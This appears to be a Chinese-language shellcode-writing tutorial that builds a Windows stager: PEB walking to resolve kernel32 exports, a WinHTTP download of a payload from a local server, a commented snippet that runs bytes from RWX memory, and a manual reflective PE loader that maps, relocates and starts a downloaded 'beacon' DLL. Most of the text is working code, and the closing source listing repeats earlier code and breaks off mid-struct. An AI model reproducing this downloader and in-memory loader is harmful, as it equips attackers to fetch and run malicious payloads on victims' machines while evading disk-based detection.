WinHttpOpenT fnWinHttpOpen = (WinHttpOpenT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpen);
WinHttpConnectT fnWinHttpConnect = (WinHttpConnectT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpConnect);
WinHttpOpenRequestT fnWinHttpOpenRequest = (WinHttpOpenRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpenRequest);
WinHttpSendRequestT fnWinHttpSendRequest = (WinHttpSendRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpSendRequest);
WinHttpReceiveResponseT fnWinHttpReceiveResponse = (WinHttpReceiveResponseT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpReceiveResponse);
WinHttpQueryHeadersT fnWinHttpQueryHeaders = (WinHttpQueryHeadersT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpQueryHeaders);
WinHttpCloseHandleT fnWinHttpCloseHandle = (WinHttpCloseHandleT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCloseHandle);

创建会话

创建会话时候要注意如下几点:

  1. fnWinHttpCrackUrl这个API的最后一个参数是输出,是系统的结构,不是自己定义的结构!!!!

  2. fnWinHttpOpen可以有两个选项,一个是WINHTTP_ACCESS_TYPE_NO_PROXY代表不走代理,另外一个是走代理,走代理的话可以先设置前置代理再做,这个算home work

  3. lpUrlComponents的URL上限被之前定义了,是32字节,超过会溢出,可以自己调整.但是不要太大,会爆栈
    以下是代码:

    // 创建一个会话
fnWinHttpCrackUrl(strUrl, 0, ICU_ESCAPE, &lpUrlComponents);
HINTERNET hSession = fnWinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), dwContentSize, dwIndex = 0;

第一次请求,获取下载大小

需要先获取以下下载的文件大小,这样才能分配好内存,这是代码:

// 创建一个连接
HINTERNET hConnect = fnWinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0);
// 创建一个请求,先查询内容的大小
HINTERNET hRequest = fnWinHttpOpenRequest(hConnect, strHead, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);
fnWinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
fnWinHttpCloseHandle(hRequest);

获取数据

// 创建一个请求,获取数据

    hRequest = fnWinHttpOpenRequest(hConnect, strGet, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);

fnWinHttpCloseHandle(hRequest);
fnWinHttpCloseHandle(hConnect);
fnWinHttpCloseHandle(hSession);

此时,dwContentSize是payload的大小,最后调用WinHttpReadData即可完成一次文件下载

pBuffer = fnMalloc(dwContentSize);
ZeroMemory(pBuffer, dwContentSize);
//完成下载
WinHttpReadData(hRequest, pBuffer, dwContentSize, &dwReadBytes);

测试

运行程序,如果完整不误的话,你的HFS会看到如下结果
手把手填鸭式的Shellcode编写入门教程
下一小节我们将会介绍如何下载一个真正可执行的payload

完整代码

// 韭菜之家_day2.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include <Windows.h>
#include <Winhttp.h>
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(unsigned __int64 *)(name)
#define DEREF_32( name )*(unsigned long *)(name)
#define DEREF_16( name )*(unsigned short *)(name)
#define DEREF_8( name )*(UCHAR *)(name)

typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;

// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;


// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB;

typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
#pragma comment(lib,"Winhttp.lib")

void shellcode_start() {
//代码不用理解,可以直接复制粘贴.
//0.读取fs,找到peb
uint64_t base_address = 0;
__asm
{
mov eax, fs: [30h]
mov dword ptr[base_address], eax
}
unsigned short m_counter;
uint64_t ldr_table;
uint64_t dll_name;
uint64_t hash_name;
uint64_t kenrle32_base = 0;

base_address = (uint64_t)((_PEB*)base_address)->pLdr;
ldr_table =
(uint64_t)((PPEB_LDR_DATA)base_address)->InMemoryOrderModuleList.Flink;
//1. 通过peb里面的LDR找到kernel32的地址
while (ldr_table) {
dll_name =
(uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.pBuffer;
m_counter = ((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.Length;
hash_name = 0;
do {
hash_name = _rotr((unsigned long)hash_name, 13);
if (*((unsigned char*)dll_name) >= 'a')
hash_name += *((unsigned char*)dll_name) - 0x20;
else
hash_name += *((unsigned char*)dll_name);
dll_name++;
} while (--m_counter);
//hash name其实是基于dll_name的因为我们也不想取到其他的莫名其妙的东西,做个简单地hash会准确很多
//如果你不想用hashname,那么你可以printf("%wZ",dll_name);观察一下dll name自己想一下新的思路
if ((unsigned long)hash_name == 0x6A4ABC5B) {
//这就是kernel.dll的地址了
kenrle32_base = (uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->DllBase;
break;
}
ldr_table = DEREF(ldr_table);
if (kenrle32_base != 0) {
//找到了退出
break;
}
}
if (kenrle32_base == 0) {
__debugbreak();
}
typedef HMODULE(WINAPI* GetProcAddressT)(_In_ HMODULE hModule, char* lpProcName);
typedef HMODULE(WINAPI* LoadLibraryAT)(_In_ LPCSTR lpLibFileName);
GetProcAddressT fnGetProcAddress = NULL;
LoadLibraryAT fnLoadlibrary = NULL;

//别在意这边的大小写驼峰混乱,因为是两套代码拼接的,懒得改了....
UINT_PTR uiAddressArray = NULL;
UINT_PTR uiNameArray = NULL;
UINT_PTR uiNameOrdinals = NULL;
PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL;
PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// 解析PE头
pNtHeaders32 = (PIMAGE_NT_HEADERS32)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew);
pNtHeaders64 = (PIMAGE_NT_HEADERS64)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew);
// 拿到导出表
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// 遍历导出表
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(kenrle32_base + pDataDirectory->VirtualAddress);
uiAddressArray = (kenrle32_base + pExportDirectory->AddressOfFunctions);
uiNameArray = (kenrle32_base + pExportDirectory->AddressOfNames);
uiNameOrdinals = (kenrle32_base + pExportDirectory->AddressOfNameOrdinals);

unsigned long dwCounter = pExportDirectory->NumberOfNames;

char str1[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', '' };
char str2[] = { 'L','o','a','d','L','i','b','r','a','r','y','A','' };
while (dwCounter--)
{
char* cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray));
char* matchPtr = &str1[0];
int ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnGetProcAddress = (GetProcAddressT)(kenrle32_base + DEREF_32(uiAddressArray));
}
else {
cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray));
char* matchPtr = &str2[0];
ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray = (kenrle32_base + pExportDirectory->AddressOfFunctions);
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnLoadlibrary = (LoadLibraryAT)(kenrle32_base + DEREF_32(uiAddressArray));
}
}
if (fnLoadlibrary && fnGetProcAddress) {
break;
}
uiNameArray += sizeof(unsigned long);
uiNameOrdinals += sizeof(unsigned short);
}
if (fnLoadlibrary == NULL || fnGetProcAddress == NULL) {
__debugbreak();
}
typedef struct _URL_INFO
{
WCHAR szScheme[36];
WCHAR szHostName[36];
WCHAR szUserName[36];
WCHAR szPassword[36];
WCHAR szUrlPath[36];
WCHAR szExtraInfo[36];
}URL_INFO, * PURL_INFO;

_URL_INFO url;
URL_COMPONENTSW lpUrlComponents;
lpUrlComponents.dwStructSize = sizeof(lpUrlComponents);
lpUrlComponents.lpszExtraInfo = url.szExtraInfo;
lpUrlComponents.lpszHostName = url.szHostName;
lpUrlComponents.lpszPassword = url.szPassword;
lpUrlComponents.lpszScheme = url.szScheme;
lpUrlComponents.lpszUrlPath = url.szUrlPath;
lpUrlComponents.lpszUserName = url.szUserName;

lpUrlComponents.dwExtraInfoLength =
lpUrlComponents.dwHostNameLength =
lpUrlComponents.dwPasswordLength =
lpUrlComponents.dwSchemeLength =
lpUrlComponents.dwUrlPathLength =
lpUrlComponents.dwUserNameLength = 36;

typedef HMODULE(WINAPI* WinHttpCrackUrlT)(_In_reads_(dwUrlLength) LPCWSTR pwszUrl, _In_ DWORD dwUrlLength, _In_ DWORD dwFlags, _Inout_ LPURL_COMPONENTS lpUrlComponents);
typedef HINTERNET(WINAPI* WinHttpOpenT)(_In_opt_z_ LPCWSTR pszAgentW,
_In_ DWORD dwAccessType,
_In_opt_z_ LPCWSTR pszProxyW,
_In_opt_z_ LPCWSTR pszProxyBypassW,
_In_ DWORD dwFlags);
typedef HINTERNET(WINAPI* WinHttpConnectT)(
IN HINTERNET hSession,
IN LPCWSTR pswzServerName,
IN INTERNET_PORT nServerPort,
IN DWORD dwReserved);
typedef HINTERNET(WINAPI* WinHttpOpenRequestT)(
IN HINTERNET hConnect,
IN LPCWSTR pwszVerb,
IN LPCWSTR pwszObjectName,
IN LPCWSTR pwszVersion,
IN LPCWSTR pwszReferrer OPTIONAL,
IN LPCWSTR FAR* ppwszAcceptTypes OPTIONAL,
IN DWORD dwFlags);
typedef BOOL(WINAPI* WinHttpSendRequestT)(
IN HINTERNET hRequest,
_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
IN DWORD dwHeadersLength,
_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
IN DWORD dwOptionalLength,
IN DWORD dwTotalLength,
IN DWORD_PTR dwContext);
typedef BOOL(WINAPI* WinHttpReceiveResponseT)(
IN HINTERNET hRequest,
IN LPVOID lpReserved);
typedef BOOL(WINAPI* WinHttpQueryHeadersT)(
IN HINTERNET hRequest,
IN DWORD dwInfoLevel,
IN LPCWSTR pwszName OPTIONAL,
_Out_writes_bytes_to_opt_(*lpdwBufferLength, *lpdwBufferLength) __out_data_source(NETWORK) LPVOID lpBuffer,
IN OUT LPDWORD lpdwBufferLength,
IN OUT LPDWORD lpdwIndex OPTIONAL);
typedef BOOL(WINAPI* WinHttpCloseHandleT)(
IN HINTERNET hInternet);
constexpr char strWinHttpCrackUrl[] = "WinHttpCrackUrl";
constexpr char strWinHttpOpen[] = "WinHttpOpen";
constexpr char strWinHttpConnect[] = "WinHttpConnect";
constexpr char strWinHttpOpenRequest[] = "WinHttpOpenRequest";
constexpr char strWinHttpSendRequest[] = "WinHttpSendRequest";
constexpr char strWinHttpReceiveResponse[] = "WinHttpReceiveResponse";
constexpr char strWinHttpQueryHeaders[] = "WinHttpQueryHeaders";
constexpr char strWinHttpCloseHandle[] = "WinHttpCloseHandle";
constexpr char strWinhttp[] = "Winhttp.dll";
constexpr wchar_t strUrl[] = L"http://127.0.0.1/duck";
constexpr wchar_t strHead[] = L"HEAD";
constexpr wchar_t strHTTP[] = L"HTTP/1.1";
constexpr wchar_t strGet[] = L"GET";
WinHttpCrackUrlT fnWinHttpCrackUrl = (WinHttpCrackUrlT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCrackUrl);
WinHttpOpenT fnWinHttpOpen = (WinHttpOpenT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpen);
WinHttpConnectT fnWinHttpConnect = (WinHttpConnectT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpConnect);
WinHttpOpenRequestT fnWinHttpOpenRequest = (WinHttpOpenRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpenRequest);
WinHttpSendRequestT fnWinHttpSendRequest = (WinHttpSendRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpSendRequest);
WinHttpReceiveResponseT fnWinHttpReceiveResponse = (WinHttpReceiveResponseT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpReceiveResponse);
WinHttpQueryHeadersT fnWinHttpQueryHeaders = (WinHttpQueryHeadersT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpQueryHeaders);
WinHttpCloseHandleT fnWinHttpCloseHandle = (WinHttpCloseHandleT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCloseHandle);

// 创建一个会话
fnWinHttpCrackUrl(strUrl, 0, ICU_ESCAPE, &lpUrlComponents);
HINTERNET hSession = fnWinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), dwContentSize, dwIndex = 0;
// 创建一个连接
HINTERNET hConnect = fnWinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0);
// 创建一个请求,先查询内容的大小
HINTERNET hRequest = fnWinHttpOpenRequest(hConnect, strHead, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);
fnWinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
fnWinHttpCloseHandle(hRequest);

// 创建一个请求,获取数据
hRequest = fnWinHttpOpenRequest(hConnect, strGet, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);

fnWinHttpCloseHandle(hRequest);
fnWinHttpCloseHandle(hConnect);
fnWinHttpCloseHandle(hSession);

__debugbreak();
}
void shellcode_end() {
__debugbreak();
}
int main()
{
/*
const auto start_address = (uint32_t)shellcode_start;
const auto shellcode_size = (uint32_t)shellcode_end - (uint32_t)start_address;
for (size_t i = 0; i < shellcode_size; i++)
{
auto sig_code = ((unsigned char*)start_address)[i];
printf(",0x%02X", sig_code);
}

char shellcode[] = { ... };
PVOID p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
typedef void(__stdcall* door_code) ();
door_code run_shellcode = (door_code)p;
run_shellcode();
*/
system("pause");
}

根据前两章的路线,现在是能实现了下载,但是还缺少重要的一步: 我们是能下载,但是没办法加载.
本章节将会指导如何加载我们的bacon

beacon编写

首先我们先写一个正常的dll,然后用信息框弹出一个hello world,用vs2019新建一个项目叫做beacon:
把你的beacon改成x86-release,跟shellcode一样,关闭安全选项(要不然security cookie照样炸)
最重要的是,MD改成MT
因为MD是动态链接,体积是很小,但是你的程序基本上在其他的机子上跑不起来(因为其他机器没c++支持库)
MT是全打包,虽然大了一点,但是靠得住
手把手填鸭式的Shellcode编写入门教程
配置完后,编写我们的第一个beacon hello world:

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "hello i am beacon", NULL, NULL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

然后编译你的beacon,放到之前的hfs目录

手把手填鸭式的Shellcode编写入门教程

加载beacon

由于有重定向的存在,不可以在shellcode里面直接加载beacon,要想顺利加载beacon,你需要几步

  1. 申请一块raw内存

  2. 解析到pe头后,拿到真实大小

  3. 展开PE,拷贝raw内存的数据到更大的内存里面

  4. 重定位

  5. 修复导入表

  6. 跑起来

让我们一步一步说明

申请一块raw内存

// 创建一个请求,获取数据
hRequest = fnWinHttpOpenRequest(hConnect, strGet, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);
typedef LPVOID(WINAPI* VirtualAllocT)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect);
constexpr char strVirtualAlloc[] = "VirtualAlloc";
VirtualAllocT fnVirtualAlloc = (VirtualAllocT)fnGetProcAddress((HMODULE)kernel32_base, (char*)strVirtualAlloc);
//别介意代码风格突变,这是另外一个项目复制粘贴的.
const auto fileSize = dwContentSize;
void* rawBuffer = fnVirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
fnWinHttpReadData(hRequest, rawBuffer, fileSize, &dwReadBytes);

解析PE头

    //把之前的链接关掉
fnWinHttpCloseHandle(hRequest);
fnWinHttpCloseHandle(hConnect);
fnWinHttpCloseHandle(hSession);

PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)rawBuffer;
PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)((LPBYTE)rawBuffer + pIDH->e_lfanew);

解析到pe头后,拿到真实大小

    void* imageBuffer = fnVirtualAlloc(NULL, pINH->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
fnMemcpy(imageBuffer, rawBuffer, pINH->OptionalHeader.SizeOfHeaders);

展开PE,拷贝raw内存的数据到更大的内存里面

    PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)(pINH + 1);

for (size_t i = 0; i < pINH->FileHeader.NumberOfSections; i++)
{
fnMemcpy((PVOID)((LPBYTE)imageBuffer + pISH[i].VirtualAddress), (PVOID)((LPBYTE)rawBuffer + pISH[i].PointerToRawData), pISH[i].SizeOfRawData);
}

重定位

//重定位
DWORD delta = (DWORD)((LPBYTE)imageBuffer - pINH->OptionalHeader.ImageBase); // Calculate the delta
PIMAGE_BASE_RELOCATION pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)imageBuffer + pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while (pIBR->VirtualAddress)
{
if (pIBR->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
{
DWORD count = (pIBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD list = (PWORD)(pIBR + 1);

for (size_t i = 0; i < count; i++)
{
if (list[i])
{
PDWORD ptr = (PDWORD)((LPBYTE)imageBuffer + (pIBR->VirtualAddress + (list[i] & 0xFFF)));
*ptr += delta;
}
}
}

pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR + pIBR->SizeOfBlock);
}

修复导入表

//导入表修复
PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)imageBuffer + pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (pIID->Characteristics)
{
PIMAGE_THUNK_DATA OrigFirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pIID->OriginalFirstThunk);
PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pIID->FirstThunk);

HANDLE hModule = fnLoadlibrary((LPCSTR)imageBuffer + pIID->Name);

while (OrigFirstThunk->u1.AddressOfData)
{
if (OrigFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// Import by ordinal

DWORD Function = (DWORD)fnGetProcAddress((HMODULE)hModule, (char*)(OrigFirstThunk->u1.Ordinal & 0xFFFF));
FirstThunk->u1.Function = Function;
}

else
{
// Import by name
PIMAGE_IMPORT_BY_NAME pIBN = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)imageBuffer + OrigFirstThunk->u1.AddressOfData);
DWORD Function = (DWORD)fnGetProcAddress((HMODULE)hModule, (char*)pIBN->Name);

FirstThunk->u1.Function = Function;
}

OrigFirstThunk++;
FirstThunk++;
}

pIID++;
}

跑起来

//一切就绪 call一下entry
typedef BOOL(WINAPI* PDLL_MAIN)(HMODULE, DWORD, PVOID);
PDLL_MAIN EntryPoint = (PDLL_MAIN)((LPBYTE)imageBuffer + pINH->OptionalHeader.AddressOfEntryPoint);
EntryPoint((HMODULE)imageBuffer, DLL_PROCESS_ATTACH, NULL); // Call the entry point

测试:

如果没问题,你应该看得到beacon成功加载了

手把手填鸭式的Shellcode编写入门教程

源码

// 韭菜之家_day2.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include <Windows.h>
#include <Winhttp.h>
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(unsigned __int64 *)(name)
#define DEREF_32( name )*(unsigned long *)(name)
#define DEREF_16( name )*(unsigned short *)(name)
#define DEREF_8( name )*(UCHAR *)(name)

typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;

// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;


// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
